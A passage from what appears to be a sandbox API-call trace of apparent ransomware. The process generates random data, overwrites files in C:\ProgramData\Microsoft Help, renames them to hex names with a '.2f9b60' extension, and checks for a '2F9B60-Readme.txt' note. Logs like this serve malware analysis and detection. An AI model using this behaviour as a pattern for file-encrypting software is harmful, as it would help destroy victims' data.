0xc466e03 [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x7fb740cf [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x45908ca [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x45cb81dc [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x9cbb45f [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x9233fe7 [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x24a4e7b5 [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0xc8ef75d [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x5b0dfecd [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x1b1e2966 [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x4d49b003 [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x101092b6 [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x276a7deb [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x41a491ed [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x457c9e2 [0086.961] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x2075fcb0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x2075fcb0*=0x15e, lpOverlapped=0x0) returned 1 [0086.962] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.962] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2075fcb4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x2075fcb4*=0x15e, lpOverlapped=0x0) returned 1 [0086.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0086.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b260 [0086.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b260) returned 1 [0086.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0086.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0086.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0086.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97210 [0086.966] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.966] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2075fdd0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2075fdd0*=0x122, lpOverlapped=0x0) returned 1 [0086.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0086.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dd70 [0086.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0086.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0086.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9eeb0 [0086.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0086.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0086.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2c0) returned 1 [0086.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0086.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0086.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b7c1fe0 [0086.968] sprintf (in: _Dest=0x1b7c1fe0, _Format="%c%c" | out: _Dest="09") returned 2 [0086.968] sprintf (in: _Dest=0x1b7c1fe2, _Format="%c%c" | out: _Dest="fe") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1fe4, _Format="%c%c" | out: _Dest="20") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1fe6, _Format="%c%c" | out: _Dest="fd") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1fe8, _Format="%c%c" | out: _Dest="ab") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1fea, _Format="%c%c" | out: _Dest="5e") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1fec, _Format="%c%c" | out: _Dest="03") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1fee, _Format="%c%c" | out: _Dest="69") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1ff0, _Format="%c%c" | out: _Dest="17") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1ff2, _Format="%c%c" | out: _Dest="5e") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1ff4, _Format="%c%c" | out: _Dest="9b") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1ff6, _Format="%c%c" | out: _Dest="b4") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1ff8, _Format="%c%c" | out: _Dest="c4") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1ffa, _Format="%c%c" | out: _Dest="3f") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1ffc, _Format="%c%c" | out: _Dest="9d") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c1ffe, _Format="%c%c" | out: _Dest="74") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2000, _Format="%c%c" | out: _Dest="61") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2002, _Format="%c%c" | out: _Dest="f1") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2004, _Format="%c%c" | out: _Dest="d0") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2006, _Format="%c%c" | out: _Dest="01") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2008, _Format="%c%c" | out: _Dest="95") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c200a, _Format="%c%c" | out: _Dest="f6") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c200c, _Format="%c%c" | out: _Dest="0f") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c200e, _Format="%c%c" | out: _Dest="5b") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2010, _Format="%c%c" | out: _Dest="a9") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2012, _Format="%c%c" | out: _Dest="71") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2014, _Format="%c%c" | out: _Dest="70") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2016, _Format="%c%c" | out: _Dest="40") returned 2 [0086.969] sprintf (in: _Dest=0x1b7c2018, _Format="%c%c" | out: _Dest="08") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c201a, _Format="%c%c" | out: _Dest="a8") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c201c, _Format="%c%c" | out: _Dest="1a") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c201e, _Format="%c%c" | out: _Dest="b3") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2020, _Format="%c%c" | out: _Dest="58") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2022, _Format="%c%c" | out: _Dest="30") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2024, _Format="%c%c" | out: _Dest="e4") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2026, _Format="%c%c" | out: _Dest="9c") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2028, _Format="%c%c" | out: _Dest="4c") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c202a, _Format="%c%c" | out: _Dest="ed") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c202c, _Format="%c%c" | out: _Dest="7b") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c202e, _Format="%c%c" | out: _Dest="74") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2030, _Format="%c%c" | out: _Dest="82") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2032, _Format="%c%c" | out: _Dest="07") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2034, _Format="%c%c" | out: _Dest="10") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2036, _Format="%c%c" | out: _Dest="21") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c2038, _Format="%c%c" | out: _Dest="62") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c203a, _Format="%c%c" | out: _Dest="06") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c203c, _Format="%c%c" | out: _Dest="1c") returned 2 [0086.970] sprintf (in: _Dest=0x1b7c203e, _Format="%c%c" | out: _Dest="a4") returned 2 [0086.970] RtlInitAnsiString (in: DestinationString=0x2075fe48, SourceString="09fe20fdab5e0369175e9bb4c43f9d7461f1d00195f60f5ba971704008a81ab35830e49c4ced7b748207102162061ca4" | out: DestinationString="09fe20fdab5e0369175e9bb4c43f9d7461f1d00195f60f5ba971704008a81ab35830e49c4ced7b748207102162061ca4") [0086.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x2075fe18, SourceString="09fe20fdab5e0369175e9bb4c43f9d7461f1d00195f60f5ba971704008a81ab35830e49c4ced7b748207102162061ca4", AllocateDestinationString=1 | out: DestinationString="09fe20fdab5e0369175e9bb4c43f9d7461f1d00195f60f5ba971704008a81ab35830e49c4ced7b748207102162061ca4") returned 0x0 [0086.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118470 [0086.971] wcscat (in: _Dest=0x1b85c840, _Source="09fe20fdab5e0369175e9bb4" | out: _Dest="C:\\ProgramData\\Microsoft Help\\09fe20fdab5e0369175e9bb4") returned="C:\\ProgramData\\Microsoft Help\\09fe20fdab5e0369175e9bb4" [0086.971] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60" [0086.971] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60", NtPathName=0x2075fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a59c0 [0086.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a59c0) returned 1 [0086.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.975] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x2075fe58, FileInformation=0x2075fe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2075fe58, FileInformation=0x2075fe68) returned 0x0 [0086.975] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x2075fe58, FileInformation=0x2075fe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0086.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0086.977] FlushFileBuffers (hFile=0x96c) returned 1 [0086.978] CloseHandle (hObject=0x96c) returned 1 [0086.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1fe0 [0086.979] wcscpy (in: _Dest=0x1b7c1fe0, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.979] wcscat (in: _Dest=0x1b7c1fe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.979] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1fe0) returned 1 [0086.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 Thread: id = 211 os_tid = 0xc7c [0086.982] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn")) returned 0x2022 [0086.982] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.982] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.982] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x206dfa20 | out: lpFileSize=0x206dfa20*=332) returned 1 [0086.982] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.982] ReadFile (in: hFile=0x96c, lpBuffer=0x206df9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x206df9e8, lpOverlapped=0x0 | out: lpBuffer=0x206df9a0*, lpNumberOfBytesRead=0x206df9e8*=0x4, lpOverlapped=0x0) returned 1 [0086.984] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0086.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0086.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0086.984] NtQuerySystemTime (in: CurrentTime=0x206df8e0 | out: CurrentTime=0x206df8e0*=132462176928586000) returned 0x0 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x6916f3e0 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x575aa215 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x2fb1ed09 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x13922ca6 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x790fd98e [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x7e53a0fe [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x7251ee8b [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x7c1f5c53 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x24f2bf2b [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x25e78002 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x4e96e278 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x230c438c [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x4b04535e [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0xfca5e4c [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x5b858184 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x307b5f36 [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x325d34cc [0086.984] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x763d39ed [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x10d19f83 [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x31bd618f [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x620c8be8 [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x61d7c6b3 [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x543efd81 [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x1f43046e [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x1d45ea15 [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x510fd2e0 [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x2fcddfbf [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x5747542 [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x41d04baa [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x3af06f83 [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x50994b0f [0086.985] RtlRandomEx (in: Seed=0x206df8d0 | out: Seed=0x206df8d0) returned 0x717987b1 [0086.993] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x14c, lpNumberOfBytesRead=0x206df8d0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x206df8d0*=0x14c, lpOverlapped=0x0) returned 1 [0086.993] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.993] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x206df8d4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x206df8d4*=0x14c, lpOverlapped=0x0) returned 1 [0086.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0086.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0086.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0086.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0086.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0086.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0086.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9eeb0 [0086.996] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.996] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x206df9f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x206df9f0*=0x11c, lpOverlapped=0x0) returned 1 [0087.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0087.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0087.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b260 [0087.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b260) returned 1 [0087.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9eef0 [0087.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b260 [0087.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0087.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0087.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0087.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b858730 [0087.001] sprintf (in: _Dest=0x1b858730, _Format="%c%c" | out: _Dest="ab") returned 2 [0087.001] sprintf (in: _Dest=0x1b858732, _Format="%c%c" | out: _Dest="b4") returned 2 [0087.001] sprintf (in: _Dest=0x1b858734, _Format="%c%c" | out: _Dest="92") returned 2 [0087.001] sprintf (in: _Dest=0x1b858736, _Format="%c%c" | out: _Dest="c1") returned 2 [0087.001] sprintf (in: _Dest=0x1b858738, _Format="%c%c" | out: _Dest="85") returned 2 [0087.001] sprintf (in: _Dest=0x1b85873a, _Format="%c%c" | out: _Dest="58") returned 2 [0087.001] sprintf (in: _Dest=0x1b85873c, _Format="%c%c" | out: _Dest="14") returned 2 [0087.001] sprintf (in: _Dest=0x1b85873e, _Format="%c%c" | out: _Dest="5b") returned 2 [0087.001] sprintf (in: _Dest=0x1b858740, _Format="%c%c" | out: _Dest="ba") returned 2 [0087.001] sprintf (in: _Dest=0x1b858742, _Format="%c%c" | out: _Dest="92") returned 2 [0087.001] sprintf (in: _Dest=0x1b858744, _Format="%c%c" | out: _Dest="26") returned 2 [0087.002] sprintf (in: _Dest=0x1b858746, _Format="%c%c" | out: _Dest="52") returned 2 [0087.002] sprintf (in: _Dest=0x1b858748, _Format="%c%c" | out: _Dest="75") returned 2 [0087.002] sprintf (in: _Dest=0x1b85874a, _Format="%c%c" | out: _Dest="e6") returned 2 [0087.002] sprintf (in: _Dest=0x1b85874c, _Format="%c%c" | out: _Dest="11") returned 2 [0087.002] sprintf (in: _Dest=0x1b85874e, _Format="%c%c" | out: _Dest="2c") returned 2 [0087.002] sprintf (in: _Dest=0x1b858750, _Format="%c%c" | out: _Dest="8f") returned 2 [0087.002] sprintf (in: _Dest=0x1b858752, _Format="%c%c" | out: _Dest="c3") returned 2 [0087.002] sprintf (in: _Dest=0x1b858754, _Format="%c%c" | out: _Dest="0a") returned 2 [0087.002] sprintf (in: _Dest=0x1b858756, _Format="%c%c" | out: _Dest="68") returned 2 [0087.002] sprintf (in: _Dest=0x1b858758, _Format="%c%c" | out: _Dest="b1") returned 2 [0087.002] sprintf (in: _Dest=0x1b85875a, _Format="%c%c" | out: _Dest="c2") returned 2 [0087.002] sprintf (in: _Dest=0x1b85875c, _Format="%c%c" | out: _Dest="b0") returned 2 [0087.002] sprintf (in: _Dest=0x1b85875e, _Format="%c%c" | out: _Dest="af") returned 2 [0087.002] sprintf (in: _Dest=0x1b858760, _Format="%c%c" | out: _Dest="c0") returned 2 [0087.002] sprintf (in: _Dest=0x1b858762, _Format="%c%c" | out: _Dest="e1") returned 2 [0087.002] sprintf (in: _Dest=0x1b858764, _Format="%c%c" | out: _Dest="db") returned 2 [0087.002] sprintf (in: _Dest=0x1b858766, _Format="%c%c" | out: _Dest="97") returned 2 [0087.002] sprintf (in: _Dest=0x1b858768, _Format="%c%c" | out: _Dest="79") returned 2 [0087.002] sprintf (in: _Dest=0x1b85876a, _Format="%c%c" | out: _Dest="40") returned 2 [0087.002] sprintf (in: _Dest=0x1b85876c, _Format="%c%c" | out: _Dest="52") returned 2 [0087.002] sprintf (in: _Dest=0x1b85876e, _Format="%c%c" | out: _Dest="4d") returned 2 [0087.002] sprintf (in: _Dest=0x1b858770, _Format="%c%c" | out: _Dest="9d") returned 2 [0087.002] sprintf (in: _Dest=0x1b858772, _Format="%c%c" | out: _Dest="36") returned 2 [0087.002] sprintf (in: _Dest=0x1b858774, _Format="%c%c" | out: _Dest="c5") returned 2 [0087.002] sprintf (in: _Dest=0x1b858776, _Format="%c%c" | out: _Dest="f1") returned 2 [0087.002] sprintf (in: _Dest=0x1b858778, _Format="%c%c" | out: _Dest="79") returned 2 [0087.003] sprintf (in: _Dest=0x1b85877a, _Format="%c%c" | out: _Dest="f0") returned 2 [0087.003] sprintf (in: _Dest=0x1b85877c, _Format="%c%c" | out: _Dest="08") returned 2 [0087.003] sprintf (in: _Dest=0x1b85877e, _Format="%c%c" | out: _Dest="f5") returned 2 [0087.003] sprintf (in: _Dest=0x1b858780, _Format="%c%c" | out: _Dest="1f") returned 2 [0087.003] sprintf (in: _Dest=0x1b858782, _Format="%c%c" | out: _Dest="14") returned 2 [0087.003] RtlInitAnsiString (in: DestinationString=0x206dfa68, SourceString="abb492c18558145bba92265275e6112c8fc30a68b1c2b0afc0e1db977940524d9d36c5f179f008f51f14" | out: DestinationString="abb492c18558145bba92265275e6112c8fc30a68b1c2b0afc0e1db977940524d9d36c5f179f008f51f14") [0087.003] RtlAnsiStringToUnicodeString (in: DestinationString=0x206dfa38, SourceString="abb492c18558145bba92265275e6112c8fc30a68b1c2b0afc0e1db977940524d9d36c5f179f008f51f14", AllocateDestinationString=1 | out: DestinationString="abb492c18558145bba92265275e6112c8fc30a68b1c2b0afc0e1db977940524d9d36c5f179f008f51f14") returned 0x0 [0087.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106580 [0087.003] wcscat (in: _Dest=0x1b79ddf0, _Source="abb492c18558145bba922" | out: _Dest="C:\\ProgramData\\Microsoft Help\\abb492c18558145bba922") returned="C:\\ProgramData\\Microsoft Help\\abb492c18558145bba922" [0087.003] wcscat (in: _Dest=0x1b79ddf0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\abb492c18558145bba922.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\abb492c18558145bba922.2f9b60" [0087.003] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\abb492c18558145bba922.2f9b60", NtPathName=0x206dfa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\abb492c18558145bba922.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad7a0 [0087.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0087.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.005] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x206dfa78, FileInformation=0x206dfa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x206dfa78, FileInformation=0x206dfa88) returned 0x0 [0087.005] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x206dfa78, FileInformation=0x206dfa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0087.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106580) returned 1 [0087.006] FlushFileBuffers (hFile=0x96c) returned 1 [0087.007] CloseHandle (hObject=0x96c) returned 1 [0087.008] RtlAllocateHeap 